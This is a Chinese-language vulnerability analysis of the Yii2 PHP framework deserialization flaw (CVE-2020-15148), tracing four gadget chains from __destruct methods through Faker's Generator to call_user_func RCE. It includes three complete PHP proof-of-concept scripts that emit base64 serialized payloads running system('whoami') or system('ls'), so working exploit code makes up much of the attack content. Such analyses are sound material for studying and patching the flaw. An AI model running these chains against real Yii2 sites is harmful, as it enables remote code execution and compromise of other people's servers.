yii2反序列化漏洞分析
影响范围
Yii2 <2.0.38
环境安装
composer安装比较繁琐https://www.jianshu.com/p/62439169bab9
漏洞分析
首先漏洞出发点在BatchQueryResults.php中,起始点一般都是能够自动调用的函数中
也就是__destruct()方法
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
会自动调用reset()方法
并且这里$this->dataReader可控,可以调用不存在close()方法并且存在__call()方法的类,就是找一个跳板
诺 全局搜索__call()方法
找到Generator.php中的__call方法,其中调用了format函数
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
这里又调用了getFormatter()函数,我们知道第二个参数是不可控的,而这个函数的返回值可控
会返回$this->formatters[$formatter],然后就有了两个思路
先说一下call_user_func_arary()的用法
class S{
public function __construct(){
}
public static function say1($word){
echo $word;
}
public function say($word){
echo $word; } }
/*使用方式一:无需实例化调用类的静态方法*/ call_user_func_array(array('S','say1'),array('Hello PHP'));
/*使用方式二:不实例化调用类的非静态方法*/ call_user_func_array(array('S','say2'),array('Hello PHP'));
``
直接调用方法或者是对象中的方法。
但是这里第二个参数我们控制不了值也是空
所以只能考虑调用一个无参的方法,但是大佬调用的是call_user_func()方法,绝
然后找到某个类中的方法中调用了这个方法且参数可控的地方,rce就成了
function \w+\(\) ?\n?\{(.*\n)+call_user_func正则搜索
/rest/indexAction.php中

其中这两个参数可控,直接RCE,也就到了我们的终点,虽然中间跳板找的有点难受
## poc1
```php
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
这里需要另外创建一个控制器
运行poc访问控制器传入参数实现RCE
利用链2
BatchQueryResult类修复之后无法实例化了,就要找一个新的起点
利用链的起点advanced\vender\Codeception\Extension\RunProcess
public function __destruct()
{
$this->stopProcess();
}
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
同样还是找__destruct()方法调用了stopProcess()函数,因为这里的$this->processes可控,后半段的利用链和第一个就一样了
利用链3
看到这个类lib\classes\Swift\KeyCache\DiskKeyCache.php
public function __destruct()
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->keys)) {
foreach ($this->keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
....
}
}
然后调用的函数中的所有参数是我们可控的,然后继续跟进clearKey方法
public function clearKey($nsKey, $itemKey)
{
if ($this->hasKey($nsKey, $itemKey)) {
$this->freeHandle($nsKey, $itemKey);
unlink($this->path.'/'.$nsKey.'/'.$itemKey);
}
}
这里$this->path是我们可控的,凡是涉及到字符串操作并且参数可控的都应该能想到__tostring当跳板
然后就找到see.php中存在__tostring()方法
public function __toString() : string
{
return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
}
这里$this->description又是我们可控的,也就是说能够继续调用__call()方法实现反序列化
- poc
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
利用链4
起点还是一样,与上述不同的是不用急着找跳板,reset()方法中$this->_dataReader是我们可控的,我们只需要找到一个类中存在close()方法并且这个方法存在危险函数或是又可以延展调用链的就欧克
找到advanced\vendor\yiisoft\yii2\web\DbSession.php这个类中的close()方法
public function close()
{
if ($this->getIsActive()) {
// prepare writeCallback fields before session closes
$this->fields = $this->composeFields();
YII_DEBUG ? session_write_close() : @session_write_close();
}
}
会调用advanced\vendor\yiisoft\yii2\web\MultiFieldSession.php中的composeFields()方法,因为是继承此类的,看到这个方法
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
if ($id !== null) {
$fields['id'] = $id;
}
if ($data !== null) {
$fields['data'] = $data;
}
return $fields;
}
顺带一提这两个函数的区别:
- 如果传递一个数组给 call_user_func_array(),数组的每个元素的值都会当做一个参数传递给回调函数,数组的 key 回调掉。
- 如果传递一个数组给 call_user_func(),整个数组会当做一个参数传递给回调函数,数字的 key 还会保留住。
这里要利用call_user_func()函数能够将实例化对象作为数组传递给函数,也就是说这里因为我们可控$this->writeCallback,然后赋值[new \yii\rest\IndexAction($func, $param), "run"];
就可以调用之前我们所找到的终点--run()方法,再进行RCE
- poc
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('system', 'whoami');
echo(base64_encode(serialize($exp)));
}
参考
https://juejin.im/post/6874149010832097294
Yii2 反序列化(CVE-2020-15148)分析